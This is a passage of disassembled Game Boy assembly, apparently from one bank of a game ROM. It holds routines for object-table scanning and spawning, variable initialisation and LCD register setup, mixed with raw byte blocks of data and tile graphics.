ldi a, [hl]
sub a, $10
ld c, a
ldi a, [hl]
ld b, a
jr nc, .else_07_43AC
dec b
.else_07_43AC:
ldi a, [hl]
sub a, $10
ld e, a
ld d, [hl]
jr nc, .else_07_43B4
dec d
.else_07_43B4:
ld a, $0B
.loop_07_43B6:
push af
push bc
push de
ld a, $0D
call toc_07_441E
pop hl
ld de, $0010
add hl, de
ld d, h
ld e, l
pop bc
pop af
dec a
jr nz, .loop_07_43B6
ret
toc_07_43CB:
ld hl, $DB51
ldi a, [hl]
sub a, $10
ld c, a
ldi a, [hl]
ld b, a
jr nc, .else_07_43D7
dec b
.else_07_43D7:
ldi a, [hl]
sub a, $10
ld e, a
ld d, [hl]
jr nc, .else_07_43DF
dec d
.else_07_43DF:
ld a, e
and %11110000
ld h, a
ld a, [$DB7E]
sub a, h
jr z, .else_07_4400
push bc
push de
rla
jr nc, .else_07_43F5
ld a, e
add a, $A0
ld e, a
jr nc, .else_07_43F5
inc d
.else_07_43F5:
ld a, h
ld [$DB7E], a
ld a, $0D
call toc_07_441E
pop de
pop bc
.else_07_4400:
ld a, c
and %11110000
ld h, a
ld a, [$DB7D]
sub a, h
jr z, .return_07_441D
rla
jr nc, .else_07_4414
ld a, c
add a, $C0
ld c, a
jr nc, .else_07_4414
inc b
.else_07_4414:
ld a, h
ld [$DB7D], a
ld a, $0B
call toc_07_4493
.return_07_441D:
ret
toc_07_441E:
swap a
ld [hDMARegion], a
ld a, [$DB3E]
dec a
cp d
ret c
ld a, d
ld [$FF83], a
ld a, e
and %11110000
ld e, a
ld a, c
and %11110000
ld c, a
.toc_07_4433:
ld a, [$DB3D]
dec a
cp b
jr nc, .else_07_4445
ld a, [hDMARegion]
add a, c
ret nc
ld [hDMARegion], a
inc b
ld c, $00
jr .toc_07_4433
.else_07_4445:
ld a, b
ld [$FF82], a
ld hl, $CD35
ld a, d
add a, l
ld l, a
ld a, b
rlca
add a, [hl]
ld l, a
ld h, $CD
ldi a, [hl]
ld d, a
ld l, [hl]
ld a, [hDMARegion]
add a, c
ld b, $FF
jr c, .else_07_4461
ld b, a
dec b
xor a
.else_07_4461:
ld [hDMARegion], a
inc d
jr .toc_07_4480
.loop_07_4466:
ld h, $CB
ld a, [hl]
and %11110000
cp e
jr nz, .else_07_447F
ld h, $CA
ld a, [hl]
cp c
jr c, .else_07_447F
scf
sbc b
jr nc, .else_07_447F
ld h, $BB
ld a, [hl]
or a
call z, toc_07_4508
.else_07_447F:
inc l
.toc_07_4480:
dec d
jr nz, .loop_07_4466
ld a, [hDMARegion]
or a
ret z
ld a, [$FF83]
ld d, a
ld a, [$FF82]
ld b, a
inc b
ld c, $00
jp .toc_07_4433
toc_07_4493:
swap a
ld [hDMARegion], a
ld a, [$DB3D]
dec a
cp b
ret c
ld a, b
ld [$FF82], a
ld a, c
and %11110000
ld c, a
ld a, e
and %11110000
ld e, a
.toc_07_44A8:
ld a, [$DB3E]
dec a
cp d
jr nc, .else_07_44BA
ld a, [hDMARegion]
add a, e
ret nc
ld [hDMARegion], a
inc d
ld e, $00
jr .toc_07_44A8
.else_07_44BA:
ld a, d
ld [$FF83], a
ld hl, $CD35
ld a, d
add a, l
ld l, a
ld a, b
rlca
add a, [hl]
ld l, a
ld h, $CD
ldi a, [hl]
ld b, a
ld l, [hl]
ld a, [hDMARegion]
add a, e
ld d, $FF
jr c, .else_07_44D6
ld d, a
dec d
xor a
.else_07_44D6:
ld [hDMARegion], a
inc b
jr .toc_07_44F5
.loop_07_44DB:
ld h, $CA
ld a, [hl]
and %11110000
cp c
jr nz, .else_07_44F4
ld h, $CB
ld a, [hl]
cp e
jr c, .else_07_44F4
scf
sbc d
jr nc, .else_07_44F4
ld h, $BB
ld a, [hl]
or a
call z, toc_07_4508
.else_07_44F4:
inc l
.toc_07_44F5:
dec b
jr nz, .loop_07_44DB
ld a, [hDMARegion]
or a
ret z
ld a, [$FF82]
ld b, a
ld a, [$FF83]
ld d, a
inc d
ld e, $00
jp .toc_07_44A8
toc_07_4508:
push bc
push de
push hl
ld h, $CA
ld c, [hl]
ld h, $CB
ld e, [hl]
ld a, [$FF82]
ld b, a
ld a, [$FF83]
ld d, a
ld h, $CC
ld l, [hl]
ld h, $7A
push hl
ld a, [hl]
ld hl, $A8B2
call toc_01_07C4
ld d, h
pop hl
ld a, d
or a
jr z, .else_07_4580
inc h
ld e, $5C
ld a, [hl]
swap a
and %00001111
ld [de], a
ld e, $5B
ld a, [hl]
and %00001111
ld [de], a
inc h
ld e, $4C
ld a, [hl]
ld [de], a
inc h
ld e, $4A
ld a, [hl]
ld [de], a
inc h
inc e
ld a, [hl]
ld [de], a
ld e, $62
ld a, $FF
ld [de], a
inc h
ld a, [hl]
ld bc, $0005
ld hl, $DB7F
jr .toc_07_4557
.loop_07_4556:
add hl, bc
.toc_07_4557:
cp [hl]
jr nz, .loop_07_4556
inc hl
ld e, $46
ldi a, [hl]
ld [de], a
ld e, $18
ldi a, [hl]
ld [de], a
dec e
ldi a, [hl]
ld [de], a
dec e
ld a, [hl]
ld [de], a
ld e, $5E
ld a, $08
ld [de], a
inc e
ld [de], a
ld e, $60
xor a
ld [de], a
inc e
ld [de], a
pop hl
ld [hl], $01
ld e, $49
ld a, l
ld [de], a
pop de
pop bc
ret
.else_07_4580:
pop hl
pop de
pop bc
ret
toc_07_4584:
ld a, [$DB57]
ld b, a
ld hl, $DBCF
ld d, $BB
.loop_07_458D:
inc hl
.toc_07_458E:
ldi a, [hl]
or a
ret z
ldi a, [hl]
cp b
jr nz, .loop_07_458D
ldi a, [hl]
ld e, a
ld a, $01
ld [de], a
jr .toc_07_458E
toc_07_459C:
inc e
ld hl, $DBD0
ld b, h
ld c, l
.toc_07_45A2:
ldi a, [hl]
or a
jr z, .else_07_45B7
cp e
jr nz, .else_07_45AD
inc hl
inc hl
jr .toc_07_45A2
.else_07_45AD:
ld [bc], a
inc bc
ldi a, [hl]
ld [bc], a
inc bc
ldi a, [hl]
ld [bc], a
inc bc
jr .toc_07_45A2
.else_07_45B7:
xor a
ld [bc], a
ld a, c
ld [$DCFD], a
ld a, b
ld [$DCFE], a
ret
db $0F, $4C, $00, $17, $F6, $0D, $10, $51
db $0E, $16, $F9, $45, $1A, $47, $42, $47
db $5C, $47, $86, $47, $B9, $47, $ED, $47
db $6F, $48, $9A, $47, $B4, $46, $BE, $49
db $28, $4A, $45, $4A, $DA, $4A, $11, $4B
db $5C, $4B, $CA, $47, $92, $4B, $96, $4B
db $A0, $4B, $CD, $4B, $D9, $4B, $16, $03
db $A4, $0D, $40, $04, $46, $72, $0B, $01
db $00, $0D, $11, $46, $05, $03, $0D, $62
db $46, $05, $03, $18, $05, $08, $16, $CD
db $47, $06, $1E, $45, $12, $E6, $E0, $CB
db $37, $1F, $1E, $3A, $12, $21, $58, $46
db $85, $6F, $30, $01, $24, $7E, $6F, $17
db $9F, $67, $1E, $07, $1A, $85, $12, $1C
db $1A, $8C, $12, $1E, $3A, $1A, $21, $5A
db $46, $85, $6F, $30, $01, $24, $7E, $6F
db $17, $9F, $67, $1E, $04, $1A, $85, $12
db $1C, $1A, $8C, $12, $CD, $62, $46, $1E
db $3A, $1A, $C6, $0A, $12, $C9, $FA, $FB
db $00, $05, $06, $05, $00, $FB, $FA, $FB
db $1E, $3A, $1A, $21, $89, $46, $87, $85
db $6F, $30, $01, $24, $1E, $0F, $2A, $12
db $1C, $7E, $12, $1E, $3A, $1A, $21, $8D
db $46, $87, $85, $6F, $30, $01, $24, $1E
db $0D, $2A, $12, $1C, $7E, $12, $C9, $00
db $FD, $00, $FE, $00, $00, $00, $02, $00
db $03, $00, $02, $00, $00, $00, $FE, $00
db $FD, $00, $FE, $00, $FE, $80, $FE, $00
db $00, $80, $01, $00, $02, $80, $01, $00
db $00, $80, $FE, $00, $FE, $80, $FE, $17
db $F6, $0D, $03, $A4, $0D, $40, $04, $46
db $72, $0B, $01, $00, $0D, $C7, $46, $05
db $0C, $18, $05, $04, $16, $CD, $47, $06
db $1E, $45, $12, $E6, $E0, $CB, $37, $1F
db $21, $D8, $46, $C3, $EC, $46, $00, $FF
db $4B, $FF, $00, $00, $B5, $00, $00, $01
db $B5, $00, $00, $00, $4B, $FF, $00, $FF
db $4B, $FF, $87, $85, $6F, $30, $01, $24
db $1E, $0F, $2A, $12, $1C, $2A, $12, $23
db $23, $1E, $0D, $2A, $12, $1C, $2A, $12
db $C9, $87, $85, $6F, $30, $01, $24, $1E
db $0F, $2A, $12, $1C, $2A, $12, $23, $23
db $1E, $0D, $2A, $12, $1C, $2A, $12, $C9
db $03, $A4, $0D, $40, $04, $89, $76, $0B
db $19, $00, $02, $19, $01, $02, $19, $02
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db $02, $19, $0A, $02, $16, $CD, $A4, $0D
db $CD, $97, $4D, $30, $04, $62, $C3, $BA
db $0B, $CD, $7F, $19, $30, $08, $1E, $07
db $01, $83, $4C, $C3, $46, $08, $C9, $0F
db $4C, $03, $03, $DB, $50, $47, $04, $B6
db $55, $0A, $0D, $A5, $1A, $12, $60, $50
db $0F, $3B, $00, $26, $00, $04, $05, $08
db $26, $00, $03, $05, $08, $26, $80, $01
db $05, $08, $26, $80, $00, $05, $08, $03
db $B0, $50, $47, $26, $80, $FF, $05, $08
db $26, $80, $FE, $05, $08, $26, $00, $FD
db $05, $08, $26, $00, $FC, $00, $0F, $3B
db $01, $26, $00, $02, $05, $10, $26, $80
db $01, $05, $10, $26, $C0, $00, $05, $10
db $26, $40, $00, $05, $10, $03, $B0, $50
db $47, $26, $C0, $FF, $05, $10, $26, $40
db $FF, $05, $10, $26, $80, $FE, $05, $10
db $26, $00, $FE, $00, $24, $41, $03, $0C
db $51, $47, $0D, $A5, $1A, $12, $A5, $50
db $2A, $40, $26, $AB, $FE, $08, $00, $FE
db $05, $14, $16, $2A, $10, $26, $56, $FF
db $08, $00, $FF, $05, $28, $16, $CD, $A4
db $0D, $21, $09, $A0, $5D, $1A, $96, $C6
db $08, $FE, $10, $30, $1F, $2E, $0B, $5D
db $1A, $96, $C6, $08, $FE, $10, $30, $14
db $1E, $0E, $21, $99, $42, $3E, $1E, $CD
db $CF, $05, $F0, $9A, $57, $62, $C3, $BA
db $0B, $CD, $A4, $0D, $1E, $3B, $1A, $B7
db $1E, $15, $FA, $0E, $DA, $20, $05, $E6
db $06, $0F, $18, $04, $E6, $0C, $0F, $0F
db $C6, $03, $12, $CD, $97, $4D, $30, $04
db $62, $C3, $BA, $0B, $CD, $7F, $19, $30
db $08, $1E, $07, $01, $8E, $50, $C3, $46
db $08, $C9, $CD, $91, $0C, $CD, $94, $0C
db $CD, $A4, $0D, $1E, $15, $FA, $0E, $DA
db $E6, $0C, $0F, $0F, $C6, $03, $12, $CD
db $97, $4D, $30, $04, $62, $C3, $BA, $0B
db $C9, $17, $F6, $0D, $0F, $4C, $04, $03
db $94, $51, $47, $04, $4C, $5C, $0A, $26
db $00, $04, $0F, $09, $C0, $0D, $6C, $51
db $22, $61, $51, $07, $19, $03, $02, $19
db $04, $03, $19, $05, $02, $19, $06, $03
db $19, $07, $02, $19, $08, $03, $19, $09
db $02, $19, $0A, $03, $06, $46, $51, $2A
db $10, $08, $00, $FF, $05, $20, $2A, $F0
db $00, $16, $C5, $62, $2E, $45, $7E, $17
db $3E, $E0, $01, $0A, $00, $30, $05, $3E
db $20, $01, $F6, $FF, $2E, $11, $77, $2E
db $3B, $3E, $80, $22, $71, $2C, $70, $2C
db $3E, $80, $22, $3E, $F8, $22, $36, $FF
db $C1, $C9, $CD, $C0, $51, $CD, $80, $0C
db $CD, $91, $0C, $CD, $A4, $0D, $CD, $CE
db $51, $CD, $97, $4D, $21, $09, $A0, $5D
db $1A, $96, $C6, $08, $FE, $10, $30, $0D
db $3E, $01, $EA, $7C, $A0, $1E, $07, $01
db $6B, $51, $C3, $46, $08, $C9, $1E, $03
db $62, $2E, $3B, $0E, $06, $2A, $12, $1C
db $0D, $20, $FA, $C9, $21, $03, $A0, $1E
db $3B, $42, $4D, $0A, $12, $86, $02, $1C
db $2C, $0C, $0A, $12, $8E, $02, $1C, $2C
db $0C, $0A, $12, $8E, $02, $1C, $2C, $0C
db $0A, $12, $86, $02, $1C, $2C, $0C, $0A
db $12, $8E, $02, $1C, $2C, $0C, $0A, $12
db $8E, $02, $C9, $17, $F6, $0D, $0F, $4C
db $04, $03, $3C, $52, $47, $04, $4C, $5C
db $0A, $26, $00, $02, $0D, $6C, $51, $22
db $21, $52, $07, $2A, $10, $08, $80, $FF
db $05, $10, $2A, $F0, $05, $10, $16, $19
db $03, $02, $19, $04, $03, $19, $05, $02
db $19, $06, $03, $19, $07, $02, $19, $08
db $03, $19, $09, $02, $19, $0A, $03, $06
db $21, $52, $CD, $C0, $51, $CD, $80, $0C
db $CD, $91, $0C, $CD, $A4, $0D, $C3, $CE
db $51, $0F, $4C, $04, $03, $72, $52, $47
db $04, $C2, $62, $0A, $26, $33, $01, $19
db $03, $06, $19, $04, $06, $19, $05, $06
db $0F, $3A, $0C, $19, $06, $06, $0F, $3A
db $10, $19, $07, $06, $19, $08, $23, $16
db $CD, $A4, $0D, $1E, $15, $1A, $FE, $07
db $30, $09, $CD, $97, $4D, $30, $27, $62
db $C3, $BA, $0B, $62, $01, $00, $00, $11
db $F9, $FF, $CD, $D9, $1A, $CD, $9A, $4D
db $F5, $62, $01, $00, $00, $11, $07, $00
db $CD, $D9, $1A, $CD, $9A, $4D, $30, $03
db $F1, $18, $DC, $F1, $38, $D9, $C9, $26
db $80, $00, $08, $B7, $FF, $0D, $32, $10
db $14, $2A, $F2, $06, $CE, $52, $26, $80
db $00, $08, $49, $00, $0D, $32, $10, $14
db $2A, $0E, $06, $CE, $52, $26, $80, $00
db $0D, $32, $10, $19, $0F, $3C, $00, $0F
db $4C, $02, $03, $F7, $52, $47, $04, $0C
db $6A, $0A, $19, $03, $01, $19, $04, $02
db $19, $05, $03, $19, $06, $02, $19, $07
db $01, $19, $08, $02, $19, $09, $03, $19
db $0A, $02, $06, $DC, $52, $CD, $91, $0C
db $CD, $80, $0C, $CD, $83, $0C, $CD, $A4
db $0D, $CD, $97, $4D, $30, $04, $62, $C3
db $BA, $0B, $CD, $7F, $19, $30, $08, $1E
db $07, $01, $83, $4C, $C3, $46, $08, $CD
db $B3, $1A, $20, $0D, $1E, $3C, $1A, $3C
db $12, $FE, $10, $38, $04, $62, $C3, $BA
db $0B, $C9, $0F, $4C, $02, $03, $C7, $53
db $47, $04, $74, $5D, $0A, $0D, $58, $53
db $0D, $51, $53, $12, $4D, $53, $09, $02
db $19, $02, $01, $19, $03, $01, $0A, $19
db $02, $01, $16, $19, $02, $01, $16, $FA
db $70, $A0, $1E, $27, $12, $C9, $C5, $1E
db $48, $1A, $67, $2E, $39, $46, $1E, $45
db $1A, $17, $21, $87, $53, $30, $03, $21
db $A7, $53, $78, $87, $85, $6F, $30, $01
db $24, $1E, $0F, $2A, $12, $1C, $2A, $12
db $01, $0E, $00, $09, $1E, $0D, $2A, $12
db $1C, $2A, $12, $C1, $C9, $00, $F8, $9C
db $F8, $58, $FA, $F0, $FC, $00, $00, $10
db $03, $A8, $05, $64, $07, $00, $00, $10
db $03, $A8, $05, $64, $07, $00, $08, $64
db $07, $A8, $05, $10, $03, $00, $F8, $9C
db $F8, $58, $FA, $F0, $FC, $00, $00, $10
db $03, $A8, $05, $64, $07, $00, $00, $F0
db $FC, $58, $FA, $9C, $F8, $00, $F8, $9C
db $F8, $58, $FA, $F0, $FC, $CD, $A4, $0D
db $CD, $97, $4D, $30, $04, $62, $C3, $BA
db $0B, $C9, $0F, $4C, $04, $03, $E5, $53
db $47, $04, $B9, $63, $0A, $26, $00, $02
db $01, $04, $00, $CD, $A4, $0D, $CD, $97
db $4D, $30, $08, $1E, $07, $01, $83, $4C
db $C3, $46, $08, $CD, $7F, $19, $30, $08
db $1E, $07, $01, $DF, $4C, $C3, $46, $08
db $F0, $A6, $CB, $4F, $20, $E5, $C9, $0F
db $4C, $02, $03, $5C, $54, $47, $04, $ED
db $6B, $0A, $08, $00, $04, $0F, $3B, $10
db $19, $07, $02, $19, $06, $02, $19, $09
db $02, $19, $08, $02, $06, $1A, $54, $0F
db $4C, $02, $03, $5C, $54, $47, $04, $ED
db $6B, $0A, $08, $00, $04, $0F, $3B, $10
db $19, $08, $02, $19, $09, $02, $19, $06
db $02, $19, $07, $02, $06, $3A, $54, $03
db $8E, $54, $47, $18, $19, $0A, $02, $19
db $0B, $02, $19, $0C, $02, $19, $0D, $02
db $16, $16, $CD, $A4, $0D, $CD, $97, $4D
db $30, $04, $62, $C3, $BA, $0B, $CD, $7F
db $19, $30, $08, $1E, $07, $01, $49, $54
db $C3, $46, $08, $1E, $3B, $1A, $3D, $20
db $04, $62, $C3, $BA, $0B, $12, $CD, $B3
db $1A, $20, $08, $1E, $07, $01, $5B, $54
db $C3, $46, $08, $C9, $CD, $A4, $0D, $CD
db $97, $4D, $30, $04, $62, $C3, $BA, $0B
db $C9, $0F, $4C, $08, $03, $AC, $54, $47
db $04, $2E, $70, $0A, $01, $00, $26, $00
db $04, $00, $CD, $A4, $0D, $CD, $97, $4D
db $30, $04, $62, $C3, $BA, $0B, $CD, $7F
db $19, $30, $08, $1E, $07, $01, $83, $4C
db $C3, $46, $08, $C9, $0F, $4C, $02, $0D
db $DF, $54, $03, $65, $55, $47, $04, $E7
db $6C, $0A, $19, $07, $04, $19, $08, $04
db $19, $09, $04, $16, $16, $C5, $1E, $48
db $1A, $67, $2E, $15, $7E, $3D, $2E, $45
db $CB, $7E, $28, $04, $D6, $05, $2F, $3C
db $E0, $84, $21, $41, $55, $85, $6F, $30
db $01, $24, $7E, $4F, $17, $9F, $47, $1E
db $04, $1A, $81, $12, $1C, $1A, $88, $12
db $F0, $84, $21, $47, $55, $85, $6F, $30
db $01, $24, $7E, $4F, $17, $9F, $47, $1E
db $07, $1A, $81, $12, $1C, $1A, $88, $12
db $F0, $84, $21, $4D, $55, $87, $85, $6F
db $30, $01, $24, $1E, $0F, $2A, $12, $1C
db $2A, $12, $01, $0A, $00, $09, $1E, $0D
db $2A, $12, $1C, $2A, $12, $C1, $C9, $08
db $03, $02, $FE, $FD, $F8, $08, $0A, $0F
db $0F, $0A, $08, $00, $00, $2D, $01, $E7
db $01, $E7, $01, $2D, $01, $00, $00, $00
db $02, $9E, $01, $9E, $00, $62, $FF, $62
db $FE, $00, $FE, $CD, $A4, $0D, $CD, $97
db $4D, $30, $04, $62, $C3, $BA, $0B, $CD
db $7F, $19, $30, $08, $1E, $07, $01, $83
db $4C, $C3, $46, $08, $CD, $B3, $1A, $20
db $08, $1E, $07, $01, $DE, $54, $C3, $46
db $08, $C9, $0F, $4C, $0A, $03, $B4, $55
db $47, $04, $86, $68, $0D, $18, $22, $A5
db $55, $07, $0D, $32, $10, $1C, $05, $10
db $29, $00, $00, $19, $0B, $03, $19, $0C
db $03, $19, $0D, $03, $19, $0E, $03, $06
db $A5, $55, $1E, $3B, $1A, $3C, $12, $E6
db $02, $28, $02, $3E, $10, $1E, $47, $12
db $CD, $80, $0C, $CD, $A4, $0D, $CD, $90
db $4D, $30, $04, $62, $C3, $BA, $0B, $C9
db $26, $80, $02, $08, $80, $FE, $06, $E7
db $55, $26, $80, $03, $06, $E7, $55, $26
db $80, $02, $08, $80, $01, $0F, $4C, $0A
db $03, $A4, $0D, $40, $04, $25, $47, $10
db $19, $12, $02, $19, $13, $02, $06, $F2
db $55, $0F, $4C, $14, $03, $23, $56, $47
db $04, $77, $4A, $10, $18, $22, $14, $56
db $07, $0D, $32, $10, $40, $05, $08, $29
db $00, $00, $19, $07, $03, $19, $08, $03
db $19, $07, $03, $19, $06, $03, $06, $14
db $56, $CD, $80, $0C, $C3, $A4, $0D, $5A
db $6B, $0C, $00, $40, $0C, $70, $6B, $0C
db $74, $40, $0C, $05, $6D, $0C, $65, $42
db $0C, $57, $6D, $0C, $4D, $43, $0C, $AC
db $6F, $0C, $C8, $4A, $0C, $F1, $6E, $0C
db $EF, $45, $0C, $6A, $6F, $0C, $FB, $46
db $0C, $CD, $6F, $0C, $18, $4B, $0C, $10
db $70, $0C, $DD, $4B, $0C, $86, $54, $08
db $D1, $47, $0C, $7C, $70, $0C, $2E, $49
db $0C, $CC, $70, $0C, $0F, $4A, $0C, $F8
db $70, $0C, $74, $4C, $0C, $0E, $71, $0C
db $96, $4C, $0C, $45, $71, $0C, $6A, $4D
db $0C, $92, $71, $0C, $22, $4E, $0C, $53
db $72, $0C, $CE, $4F, $0C, $D0, $74, $0C
db $CC, $55, $0C, $45, $73, $0C, $CB, $52
db $0C, $21, $75, $0C, $BB, $57, $07, $42
db $75, $0C, $BB, $57, $07, $63, $75, $0C
db $BB, $57, $07, $78, $75, $0C, $BB, $57
db $07, $99, $75, $0C, $8B, $56, $0C, $DE
db $75, $0C, $84, $57, $0C, $8E, $77, $0C
db $F3, $59, $0C, $CA, $78, $0C, $06, $5C
db $0C, $0E, $7A, $0C, $63, $5F, $0C, $3F
db $7B, $0C, $BB, $57, $07, $7B, $7B, $0C
db $6D, $63, $0C, $DB, $7B, $0C, $31, $63
db $0C, $52, $6F, $0B, $BB, $57, $07, $EE
db $7B, $0C, $F8, $63, $0C, $1A, $7D, $0C
db $44, $67, $0C, $23, $7E, $0C, $F6, $69
db $0C, $4F, $7E, $0C, $A1, $6A, $0C, $9F
db $72, $0D, $84, $4F, $0D, $E1, $72, $0D
db $07, $50, $0D, $7A, $64, $0D, $00, $40
db $0D, $86, $68, $0D, $7C, $43, $0D, $E2
db $6A, $0D, $49, $47, $0D, $02, $70, $0D
db $A7, $4C, $0D, $0D, $73, $0D, $AB, $50
db $0D, $7B, $73, $0D, $5A, $51, $0D, $25
db $47, $10, $58, $57, $0D, $B4, $51, $10
db $6D, $5B, $0D, $00, $52, $10, $49, $5C
db $0D, $2C, $52, $10, $CC, $5C, $0D, $06
db $53, $10, $42, $5D, $0D, $74, $53, $10
db $34, $5E, $0D, $F4, $53, $10, $D9, $5E
db $0D, $7B, $54, $10, $78, $5F, $0D, $2C
db $55, $10, $42, $60, $0D, $5F, $55, $10
db $BB, $60, $0D, $54, $55, $10, $9D, $60
db $0D, $6A, $55, $10, $F5, $60, $0D, $79
db $77, $0D, $4C, $61, $0D, $E0, $58, $08
db $37, $64, $0D, $61, $57, $08, $4B, $64
db $0D, $EE, $75, $1A, $28, $70, $1A, $EC
db $76, $1A, $D3, $71, $1A, $6D, $76, $1A
db $4E, $71, $1A, $BB, $57, $07, $BB, $57
db $07, $0D, $77, $1A, $7C, $72, $1A, $18
db $77, $1A, $B6, $72, $1A, $33, $79, $1A
db $FD, $74, $1A, $A3, $55, $10, $80, $46
db $10, $FF
toc_07_57BC:
ld de, $D700
ld hl, $0000
jr .toc_07_57CF
.loop_07_57C4:
ld a, e
add a, a
ld c, a
ld a, $00
adc $00
ld b, a
inc bc
add hl, bc
inc e
.toc_07_57CF:
ld a, h
ld [de], a
inc d
ld a, l
ld [de], a
dec d
ld a, e
inc a
jr nz, .loop_07_57C4
ret
db $7F, $80, $FF, $FF, $FF, $C0, $FC, $83
db $F3, $8C, $E7, $98, $EA, $95, $EA, $95
db $DA, $A5, $DF, $A0, $DD, $A2, $CF, $B0
db $E3, $9C, $C0, $BF, $C1, $BE, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $3F, $C1
db $CF, $31, $E7, $19, $F7, $09, $F3, $0D
db $FB, $05, $FB, $05, $BB, $45, $B7, $49
db $C7, $39, $03, $FD, $83, $7D, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $FE, $81
db $FC, $83, $F8, $87, $F8, $87, $F0, $8F
db $F1, $8E, $E3, $9C, $E3, $9C, $E7, $98
db $E7, $98, $F3, $8C, $F9, $86, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $7F, $81
db $3F, $C1, $1F, $E1, $1F, $E1, $0F, $F1
db $8F, $71, $C7, $39, $C7, $39, $E7, $19
db $E7, $19, $CF, $31, $9F, $61, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $F8, $87
db $E0, $9F, $E0, $9F, $F9, $86, $FB, $84
db $FC, $83, $FC, $83, $F8, $87, $F1, $8E
db $E3, $9C, $C7, $B8, $EF, $90, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $3F, $C1
db $0F, $F1, $77, $89, $F7, $09, $F3, $0D
db $E3, $1D, $63, $9D, $43, $BD, $83, $7D
db $E7, $19, $E7, $19, $FF, $01, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $FF, $80
db $F8, $87, $F0, $8F, $E0, $9F, $C0, $BF
db $C0, $BF, $C0, $BF, $C0, $BF, $C0, $BF
db $E0, $9F, $F0, $8F, $FF, $80, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $FF, $01
db $1F, $E1, $0F, $F1, $07, $F9, $03, $FD
db $03, $FD, $03, $FD, $03, $FD, $03, $FD
db $07, $F9, $0F, $F1, $FF, $01, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $FF, $80
db $F1, $8E, $F8, $87, $FC, $83, $FC, $83
db $FE, $81, $FE, $81, $FC, $83, $FC, $83
db $F8, $87, $F1, $8E, $FF, $80, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $FF, $01
db $FF, $01, $7F, $81, $1F, $E1, $0F, $F1
db $07, $F9, $07, $F9, $0F, $F1, $1F, $E1
db $7F, $81, $FF, $01, $FF, $01, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $FF, $80
db $FD, $82, $FD, $82, $FC, $83, $FC, $83
db $DC, $A3, $CC, $B3, $C4, $BB, $C0, $BF
db $E0, $9F, $E0, $9F, $FF, $80, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $FF, $01
db $FF, $01, $FB, $05, $FB, $05, $F3, $0D
db $73, $8D, $63, $9D, $23, $DD, $03, $FD
db $03, $FD, $03, $FD, $FF, $01, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $FF, $80
db $FC, $83, $FC, $83, $F8, $87, $F8, $87
db $F0, $8F, $FE, $81, $FE, $81, $FC, $83
db $FC, $83, $F9, $86, $FB, $84, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $FF, $01
db $0F, $F1, $1F, $E1, $3F, $C1, $7F, $81
db $0F, $F1, $1F, $E1, $3F, $C1, $7F, $81
db $FF, $01, $FF, $01, $FF, $01, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $FF, $80
db $E0, $9F, $C8, $B7, $D1, $AE, $C2, $BD
db $C5, $BA, $CB, $B4, $D7, $A8, $CE, $B1
db $CD, $B2, $E0, $9F, $FF, $80, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $FF, $01
db $07, $F9, $B3, $4D, $73, $8D, $EB, $15
db $D3, $2D, $A3, $5D, $43, $BD, $8B, $75
db $13, $ED, $07, $F9, $FF, $01, $FF, $03
db $FF, $FF, $FF, $FF, $FF, $C0, $F1, $8E
db $F4, $8B, $CE, $B1, $DF, $A0, $CE, $B1
db $EA, $95, $C1, $BE, $C0, $BF, $D0, $AF
db $D8, $A7, $CC, $B3, $E0, $9F, $FF, $C0
db $FF, $FF, $FF, $FF, $FF, $03, $07, $F9
db $33, $CD, $1B, $E5, $0B, $F5, $03, $FD
db $83, $7D, $C7, $39, $E3, $1D, $4B, $B5
db $13, $ED, $2F, $D1, $8F, $71, $FF, $03
db $FF, $FF, $D5, $21, $4D, $CD, $36, $00
db $2C, $FA, $30, $DD, $22, $FA, $31, $DD
db $22, $36, $00, $2C, $36, $CF, $FA, $2F
db $DD, $6F, $26, $00, $54, $5D, $29, $19
db $29, $11, $29, $56, $19, $23, $23, $23
db $2A, $EA, $52, $DD, $2A, $EA, $53, $DD
db $7E, $EA, $37, $DD, $3E, $01, $EA, $58
db $DD, $21, $57, $DD, $3E, $2B, $32, $36
db $2C, $21, $35, $DD, $3E, $4E, $22, $36
db $DD, $21, $14, $DA, $3E, $51, $22, $36
db $2B, $21, $16, $DA, $3E, $51, $22, $36
db $2B, $3E, $50, $E0, $45, $EA, $29, $DA
db $D1, $C9
toc_07_5A7C:
ld hl, $DEDB
xor a
ldi [hl], a
ldi [hl], a
ld [hl], a
ld hl, $DEE0
ld [hl], a
ld hl, $DEE1
ld [hl], a
ld hl, $DEE9
ld [hl], a
ld hl, $DEEA
ld [hl], a
ld hl, $DEE3
ldi [hl], a
ldi [hl], a
ld [hl], a
ld a, $05
ld hl, $DEEB
ld [hl], a
ld hl, $DEEC
ld [hl], a
ret
db $21, $29, $DA, $78, $22, $E0, $45, $79
db $77, $21, $16, $DA, $3E, $E0, $22, $36
db $02, $3E, $01, $EA, $2B, $DA, $21, $41
db $FF, $CB, $F6, $21, $F0, $8F, $01, $10
db $00, $3E, $FF, $CD, $2F, $06, $21, $00
db $9C, $01, $00, $04, $3E, $FF, $CD, $2F
db $06, $3E, $47, $E0, $40, $C9
toc_07_5ADA:
clear [$DA2B]
ld hl, $DA16
ld a, $AA
ldi [hl], a
ld [hl], $02
ld hl, $DA14
ld a, $AA
ldi [hl], a
ld [hl], $02
assign [gbLYC], 127
ld [wDesiredLYC], a
xor a
ld hl, gbSCY
ldi [hl], a
ld [hl], a
ld [$DA01], a
ld [$DA00], a
assign [gbLCDC], LCDCF_BG_DISPLAY | LCDCF_OBJ_16_16 | LCDCF_OBJ_DISPLAY | LCDCF_TILEMAP_9C00
ret
toc_07_5B06:
ld hl, wDesiredLYC
ld a, b
ld [hl], a
ld [gbLYC], a
ld hl, $DA16
ld a, $0C
ldi [hl], a
ld [hl], $03
ld hl, gbSTAT
set 6, [hl]
ret
